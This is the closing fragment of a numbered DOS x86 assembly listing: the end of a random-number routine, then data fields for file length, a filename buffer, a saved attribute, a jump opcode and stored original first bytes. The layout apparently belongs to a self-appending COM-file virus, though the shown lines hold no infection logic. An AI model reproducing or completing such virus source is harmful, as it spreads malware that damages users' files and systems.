  981.                 loop   rnd_init5
  982.                 pop    bx
  983.                 mov    al,dl
  984.                 pop    cx
  985.                 pop    dx
  986. rnd_init_ret:
  987.                 ret
  988.  
  989. filelen         dw      offset eof - offset start
  990. memlen          dw      300
  991. filename        db      25 dup(?)
  992.  
  993. attribute       dw      ?
  994. jmp_1           db      0e9h
  995. jmp_2           dw      ?
  996. first_bytes     db      90h,0cdh,20h
  997.  
  998. eof:
  999.                 end     start